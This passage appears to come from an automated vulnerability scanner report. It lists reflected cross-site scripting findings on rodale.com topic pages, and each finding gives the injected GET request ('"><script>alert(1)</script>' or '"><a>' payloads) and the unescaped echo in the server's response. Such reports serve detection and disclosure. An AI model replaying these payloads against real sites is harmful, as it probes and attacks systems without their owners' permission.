<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-food-shopping-and-supermarkets50ae8"><a>1943c7b8cfe node node-958">
...[SNIP]...

2.532. http://www.rodale.com/topic/food-shopping-and-supermarkets [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/food-shopping-and-supermarkets

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a5b9"><script>alert(1)</script>44820a46473 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/food-shopping-and-supermarkets?7a5b9"><script>alert(1)</script>44820a46473=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:30 GMT
Date: Thu, 10 Mar 2011 17:12:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33471

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/food-shopping-and-supermarkets?7a5b9"><script>alert(1)</script>44820a46473=1" title="Register" class="moreLink">
...[SNIP]...

2.533. http://www.rodale.com/topic/fossil-fuels [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fossil-fuels

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33b2c"><a>10cf3b0fa63 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic33b2c"><a>10cf3b0fa63/fossil-fuels HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:33 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:35 GMT
Date: Thu, 10 Mar 2011 17:12:35 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic33b2c"><a>10cf3b0fa63 topic33b2c">
...[SNIP]...

2.534. http://www.rodale.com/topic/fossil-fuels [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fossil-fuels

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d4db"><a>ba84ac67e23 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fossil-fuels8d4db"><a>ba84ac67e23 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:08 GMT
Date: Thu, 10 Mar 2011 17:13:08 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fossil-fuels8d4db"><a>ba84ac67e23 node node-958">
...[SNIP]...

2.535. http://www.rodale.com/topic/fossil-fuels [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fossil-fuels

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c26a"><script>alert(1)</script>a49d0db2bb1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fossil-fuels?6c26a"><script>alert(1)</script>a49d0db2bb1=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:32 GMT
Date: Thu, 10 Mar 2011 17:12:32 GMT
Content-Length: 32722
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fossil-fuels?6c26a"><script>alert(1)</script>a49d0db2bb1=1" title="Register" class="moreLink">
...[SNIP]...

2.536. http://www.rodale.com/topic/fuel-efficiency [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fuel-efficiency

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9eaad"><a>aee05c8e06b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic9eaad"><a>aee05c8e06b/fuel-efficiency HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:46 GMT
Date: Thu, 10 Mar 2011 17:12:46 GMT
Content-Length: 22516
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic9eaad"><a>aee05c8e06b topic9eaad">
...[SNIP]...

2.537. http://www.rodale.com/topic/fuel-efficiency [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/fuel-efficiency

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 127d4"><a>d1d8d7155ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/fuel-efficiency127d4"><a>d1d8d7155ac HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:21 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:43:23 GMT
Date: Thu, 10 Mar 2011 17:13:24 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-fuel-efficiency127d4"><a>d1d8d7155ac node node-958">
...[SNIP]...

2.538. http://www.rodale.com/topic/fuel-efficiency [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/fuel-efficiency

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e866b"><script>alert(1)</script>e6b391d5356 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/fuel-efficiency?e866b"><script>alert(1)</script>e6b391d5356=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:44 GMT
Date: Thu, 10 Mar 2011 17:12:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32926

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/fuel-efficiency?e866b"><script>alert(1)</script>e6b391d5356=1" title="Register" class="moreLink">
...[SNIP]...

2.539. http://www.rodale.com/topic/gardening-tools-and-gear [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/gardening-tools-and-gear

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34d3e"><a>168c0ad16d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic34d3e"><a>168c0ad16d/gardening-tools-and-gear HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:58 GMT
Date: Thu, 10 Mar 2011 17:12:58 GMT
Content-Length: 22539
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic34d3e"><a>168c0ad16d topic34d3e">
...[SNIP]...

2.540. http://www.rodale.com/topic/gardening-tools-and-gear [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/gardening-tools-and-gear

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 801e3"><a>e9e4f5e78aa was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/gardening-tools-and-gear801e3"><a>e9e4f5e78aa HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:33 GMT
Date: Thu, 10 Mar 2011 17:13:33 GMT
Content-Length: 22522
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-gardening-tools-and-gear801e3"><a>e9e4f5e78aa node node-958">
...[SNIP]...

2.541. http://www.rodale.com/topic/gardening-tools-and-gear [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/gardening-tools-and-gear

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2a9c"><script>alert(1)</script>1866033a80f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/gardening-tools-and-gear?d2a9c"><script>alert(1)</script>1866033a80f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:55 GMT
Date: Thu, 10 Mar 2011 17:12:55 GMT
Content-Length: 31550
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/gardening-tools-and-gear?d2a9c"><script>alert(1)</script>1866033a80f=1" title="Register" class="moreLink">
...[SNIP]...

2.542. http://www.rodale.com/topic/genetically-modified-organisms-gmo [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/genetically-modified-organisms-gmo

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d732b"><a>74eda54f06b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd732b"><a>74eda54f06b/genetically-modified-organisms-gmo HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:57 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:59 GMT
Date: Thu, 10 Mar 2011 17:12:59 GMT
Content-Length: 22573
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd732b"><a>74eda54f06b topicd732b">
...[SNIP]...

2.543. http://www.rodale.com/topic/genetically-modified-organisms-gmo [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/genetically-modified-organisms-gmo

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3843c"><a>eed410bd2ae was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/genetically-modified-organisms-gmo3843c"><a>eed410bd2ae HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:32 GMT
Date: Thu, 10 Mar 2011 17:13:32 GMT
Content-Length: 22552
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-genetically-modified-organisms-gmo3843c"><a>eed410bd2ae node node-958">
...[SNIP]...

2.544. http://www.rodale.com/topic/genetically-modified-organisms-gmo [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/genetically-modified-organisms-gmo

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca33f"><script>alert(1)</script>73b3e6be844 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/genetically-modified-organisms-gmo?ca33f"><script>alert(1)</script>73b3e6be844=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:55 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:42:57 GMT
Date: Thu, 10 Mar 2011 17:12:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/genetically-modified-organisms-gmo?ca33f"><script>alert(1)</script>73b3e6be844=1" title="Register" class="moreLink">
...[SNIP]...

2.545. http://www.rodale.com/topic/global-warming [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/global-warming

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f7f6"><a>c21346610b1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic1f7f6"><a>c21346610b1/global-warming HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:04 GMT
Date: Thu, 10 Mar 2011 17:13:04 GMT
Content-Length: 22513
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic1f7f6"><a>c21346610b1 topic1f7f6">
...[SNIP]...

2.546. http://www.rodale.com/topic/global-warming [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/global-warming

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 23614"><a>967bea747a7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/global-warming23614"><a>967bea747a7 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:40 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:42 GMT
Date: Thu, 10 Mar 2011 17:13:42 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-global-warming23614"><a>967bea747a7 node node-958">
...[SNIP]...

2.547. http://www.rodale.com/topic/global-warming [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/global-warming

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a3ef0"><script>alert(1)</script>867248fc082 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/global-warming?a3ef0"><script>alert(1)</script>867248fc082=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:12:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:01 GMT
Date: Thu, 10 Mar 2011 17:13:01 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32933

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/global-warming?a3ef0"><script>alert(1)</script>867248fc082=1" title="Register" class="moreLink">
...[SNIP]...

2.548. http://www.rodale.com/topic/gluten-free-food [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/gluten-free-food

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 82e08"><a>c1ff7a77deb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic82e08"><a>c1ff7a77deb/gluten-free-food HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:13:04 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:43:06 GMT
Date: Thu, 10 Mar 2011 17:13:06 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic82e08"><a>c1ff7a77deb topic82e08">
...[SNIP]...

2.549. http://www.rodale.com/topic/gluten-free-food [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/gluten-free-food

Issue detail

